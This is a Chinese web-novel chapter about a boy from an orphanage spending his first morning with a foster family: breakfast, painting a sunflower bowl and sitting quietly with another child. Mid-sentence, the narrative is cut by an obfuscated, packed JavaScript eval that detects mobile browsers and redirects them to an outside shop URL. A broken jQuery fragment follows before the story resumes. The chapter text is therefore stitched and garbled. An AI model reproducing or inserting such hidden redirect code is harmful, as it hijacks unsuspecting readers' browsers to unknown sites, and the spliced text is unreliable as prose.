傅星辰来到这个家的第一个早晨，是被阳光叫醒的。
不是闹钟，不是沈念的敲门声，不是林暮在厨房里洗碗的声音，是阳光。
它从窗户斜斜地照进来，落在地板上，是一小片金色的、暖洋洋的、像融化的黄油一样的光。
那片光从窗台开始爬，慢慢慢慢地往床边移动，爬过地板，爬过拖鞋，爬过被子垂下来的一角，爬上了傅星辰的眼皮。他的眼皮很薄，阳光透过去，在视网膜上投下一片暖红色的光晕。他睁开眼睛，看到了那片光。
他看了很久。光不会说话，但它在那里，从窗台爬到床边，从床边爬到枕头上，从枕头爬到他的脸上。
它叫他起床的方式不是声音，是温度。是眼皮上那一小片温暖的、让人想继续睡但又舍不得睡的恰到好处的热。
傅星辰坐起来，光落在他的手背上，他把手翻过来，让光照着手心。手心是凉的，光覆上去，慢慢地，像一只温暖的手在握他的手。
他想起沈渡昨天在火车上说的话：“每天早上七点，太阳从东边照进来，照在地板上，暖的。它会叫你起床，不用闹钟。”
他没有骗人。太阳真的会叫人起床，用光，用温度，用一种不会发出声音但你知道它在的语言。傅星辰听懂了那种语言。
它在说：今天也是很好的一天。你也是很好的人。
他穿着沈念借他的睡衣——粉色的，上面印着一只穿芭蕾舞裙的小猫，和顾夜第一天穿的那件是同款。
衣服小了一点，袖口卡在小臂中间，露出一截细白的手腕。裤子短了一截，吊在小腿肚上，脚踝露在外面。脚踝很细，像两根刚抽条的柳枝。他赤着脚踩在地板上，地板是木头的，被太阳晒过，不凉。
他走到窗前，推开窗户，早上的风涌进来，凉丝丝的，带着楼下早点摊炸油条的味道。他把手伸到窗外，手心朝上。风从指缝间穿过，像一条看不见的河流，凉，但不会冻伤他。
他闭上眼睛，感受着风、阳光、油条的味道、远处传来的汽车喇叭声、楼下阿姨讨价还价的声音，这些声音混在一起，嘈杂，热闹，活生生的。
他在福利院住了三年，每天早上醒来听到的是走廊里其他孩子奔跑的脚步声，阿姨喊“起床了起床了”的大嗓门，铁架床吱呀吱呀的响声。那些声音不吵，但很冷。像冬天的自来水，不是不能碰，是碰了手指会疼。
而今天早上听到的声音是温的，像洗脸时水温刚好的那种温，不烫，不凉，刚好把睡意洗掉，把一天的力气洗出来。
他在窗前站了很久，站到沈念来敲门。叩叩叩。三下，很轻，不像在敲门，像在敲一面鼓，怕把鼓敲破了。
“傅星辰，你醒了吗？爸爸说吃早饭了，今天是面条，有蛋，每个人都有一个蛋，你也有。”傅星辰转身走到门口，打开门。
沈念站在门口，穿着小兔子睡衣，头发翘得像被雷劈过，念念不忘的腿抱在怀里，左手拿着一只彩色的笔。她把笔递给他：“这个给你。你可以给你的碗画东西。我的碗是自己画的，林鸢的碗也是自己画的，你的碗还没有画，你可以画你喜欢的东西。向日葵。”
她最后两个字说得很轻，像在说一个秘密，“你的碗是向日葵的，你可以画向日葵。不会画没关系，我也不会画兔子。我画的是兔子，但别人都说像土豆。”
傅星辰接过笔，低头看了看自己手里的笔，又看了看沈念的脸。她的脸很小，鼻子上面有几颗淡淡的雀斑，像撒了一小撮芝麻。眼睛很大很圆，像两颗葡萄。她冲他笑了一下，露出缺了两颗门牙的牙床。
“走吧，面条要凉了。”说完她转身跑了，念念不忘的腿在她怀里一颠一颠的，像一只毛茸茸的袋鼠宝宝。
傅星辰跟着她走进餐厅。他的位置在向日葵碗面前，深灰色椅子，椅背上靠着念念不忘的腿——沈念放的。
她说“念念不忘帮你占位置，不会有人坐你的位置”。傅星辰走过去，坐下来。
面前是一碗面条，雪白的，汤是清的，飘着几点葱花。面条上面卧着一个蛋，蛋黄完整，金黄色，像一个还没有升起的小太阳。碗是向日葵的，黄色的花瓣沿着碗壁排成一圈，碗底还有一朵更小的向日葵，仰着脸，朝着天花板上的灯。
他拿起筷子，筷尾朝着自己——不是朝着桌子的方向，是朝着自己。他还没有学会。他还在学。学什么叫做“你不需要把筷尾对着别人，因为你不是客人”。
沈渡坐在桌子对面，他正在给沈念挑葱花，沈念不吃葱，每次都要一根一根挑出来，挑得很仔细，像在进行一场精密的科学实验。
傅星辰低下头，开始吃自己的面，吃了一口，面很滑，从筷子中间溜走了，汤溅了一点出来，落在桌面上。
吃完早饭，沈念去幼儿园了，林暮去上学了，林鸢去练琴了，顾夜回走廊墙角了。
沈渡在厨房洗碗，碗柜的门开着，沥水架上的六只碗已经干了，兔子小猫鸢尾花刺猬向日葵白的，排成一排。
傅星辰站在厨房门口，穿着那件粉色的、印着芭蕾舞小猫的睡衣，头发还没有梳，翘着好几撮，像一个刚睡醒的小刺猬。他站在门口，手里拿着那只彩色的笔，笔帽没有盖，笔尖已经干了，干了的颜料凝成一粒小小的、粉色的珠子，像一颗小小的、凝固的泪。
沈渡在他面前蹲下来。“画碗？”他问。傅星辰点了点头。沈渡从碗柜里拿出向日葵碗，放在桌上，又从抽屉里拿出一盒丙烯颜料，十二色的，打开，红橙黄绿青蓝紫，像一小道彩虹。他把颜料和笔放在傅星辰面前，然后退后了两步，靠在了厨房门框上。
傅星辰坐在餐桌前，面前是那只向日葵碗。碗是白色的底，印着向日葵的图案，花瓣是黄色的，花蕊是棕色的。碗壁上还有一大片空白，足够画很多东西。
他拿起笔，蘸了黄色的颜料，在碗壁上画了一个圆。圆不圆，像土豆，像沈念说的土豆。他在圆周围画了一圈花瓣，花瓣有的长有的短，有的宽有的窄，像一圈参差不齐的牙齿。
画完了他退后一点看了看，皱了一下眉头，不好看。
他把笔蘸了绿色的颜料，在圆下面画了一根茎，又粗又短，像一根胡萝卜。茎的两边画了两片叶子，一片大一片小，大的像蒲扇，小的像汤匙。
他画完了，放下笔，看着那只碗。碗上的向日葵多了很多乱七八糟的东西——歪歪扭扭的花瓣，又粗又短的茎，一大一小的叶子，像一个小学生第一次上美术课交上去的作业，笨拙的、认真的、不太好看但很努力的。
他看了很久，然后拿起笔，在碗底的小向日葵旁边写了一行字，字很小，歪歪扭扭的：“这是我家。”
写完了，他把笔放下，把碗翻过来，碗底朝上。向日葵在碗底仰着脸，朝着天花板上的灯。他的字也在碗底，藏在向日葵的花瓣下面，不仔细看，看不到。但他知道它在那里。
沈渡走过来，看了一眼那只碗，没有说话。把碗拿起来，放进碗柜里，摆在最中间。左边是兔子碗，右边是小猫碗。向日葵碗夹在中间，像一个被两个好朋友拉着手的、新来的转学生，有一点紧张，但手心的温度告诉他——不用怕，这里是家。
傅星辰看着那只被放进碗柜的向日葵碗，看了一会儿，然后从椅子上跳下来，走到走廊里，走到鸢尾花小夜灯下面。顾夜坐在墙角，靠着念念不忘的腿，手里拿着一本绘本，绘本是沈念的，画着穿芭蕾舞裙的小猫。他看得不太认真，眼睛在看字，耳朵在听走廊里的动静。傅星辰蹲下来，蹲在顾夜旁边，和他并排，背靠着同一面墙，肩膀没有碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17547262|204194||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
着肩膀，中间隔了一个拳头的距离。
“你在看什么书？”傅星辰问。顾夜把书翻过来，封面朝上，给他看。
封面上画着一只小猫，踮着脚尖，穿着一件粉色的芭蕾舞裙，裙摆很大，像一朵倒扣的花。
“是念儿的书，”顾夜说，声音很小，像怕吵醒什么人，“她让我看的，说很好看。”
傅星辰看了看封面上的小猫，点了点头。“确实很好看。”他说。
两个人并排坐着，靠着墙，膝盖蜷着，手放在膝盖上。走廊里很安静，只有林鸢练琴的声音从房间里飘出来，断断续续的，音阶，爬音，一个音一个音地往外蹦，像小孩学步，跌跌撞撞的，但不肯停下来。
过了很久，顾夜开口了。“你昨晚，有没有梦游？”他问。声音还是很小的，但问得很认真，像在问一件很重要的事。傅星辰摇了摇头。
“没有，”他说，“这里不黑。窗户有光，窗帘没有拉严，月光从缝里漏进来，在地板上画了一条白线。我看着那条线，看着看着就睡着了。没有做梦。或者做了，但不记得了。”
顾夜点了点头，好像松了一口气。“那就好，”他说，“梦游不好。会吓到别人。”
傅星辰转过头，看着顾夜。
顾夜的侧脸在走廊的灯光下很白，鼻梁很挺，睫毛很长，嘴角有一道淡淡的疤，已经好了，但痕迹还在。他手背上贴着一张创可贴，小熊举着蜂蜜罐子，蜂蜜快洒出来了，但小熊还在笑。
傅星辰说：“我不会吓到你。你也不会吓到我。我们都不会吓到对方，因为我们是一样的。”
顾夜没有问“一样的”是什么意思，他听懂了。一样的不敢睡觉，一样的怕黑，一样的不知道明天会不会还在这个地方，一样的需要一张创可贴、一杯温水、一盏不会熄灭的小夜灯，一样的在等一个人蹲下来把手伸给我们，说“你可以”。
他们是一样的。不是相同，是相似。像两棵被风吹歪的树，歪的方向不一样，但根都露在外面，都需要有人帮我们把土填回去，填实了，才能站直，才能长大，才能在某一天，为别的小树遮风挡雨。
走廊尽头，沈渡房间的门开着。他在里面换床单，旧的床单扯下来，新的铺上去，四角拉平，枕头拍松。
他做这些事情的时候很安静，没有声音，像水在流，像风在吹，像太阳每天早上升起来，不会问你要不要光，它给你。
铺完床单，他走到走廊里，看到墙角坐着两个孩子——顾夜和傅星辰，并排靠着墙，膝盖蜷着，手里没有拿任何东西，只是坐着，肩膀之间隔着一个拳头的距离。
沈渡没有走过去，没有问你们在干什么。他转身走回厨房，过了一会儿端出两杯温水，放在两个孩子身边的木地板上，杯底朝下，向日葵朝上。然后他走开了。
两杯水挨在一起。一杯是向日葵的，一杯是刺猬的。刺猬蜷在杯底，圆圆的鼻子露在外面，好像在闻向日葵的香味。
向日葵仰着脸，朝着天花板上的灯，花瓣很大，像在说“今天天气真好”。
刺猬没有说话，但它把身体微微往向日葵那边倾了倾，不是靠近，是倾向。
像一棵树被风吹的时候，枝叶会朝风吹来的方向倾斜，不是因为它想去，是风把它吹过去的。
风不知道什么时候来的。也许是沈渡蹲下来放水杯的时候带起的风，也许是林鸢的琴声震动的气流，也许是沈念的笑声在走廊里回荡时产生的涟漪。
风很轻，但刺猬感觉到了。它把身体往向日葵那边倾了倾，只有一度，肉眼几乎看不出，但杯底的刺猬，它的鼻子离向日葵的花瓣，近了一毫米。一毫米也是近。
对于两颗孤独了太久的星球来说，一毫米，已经是跨越了整个银河系的距离。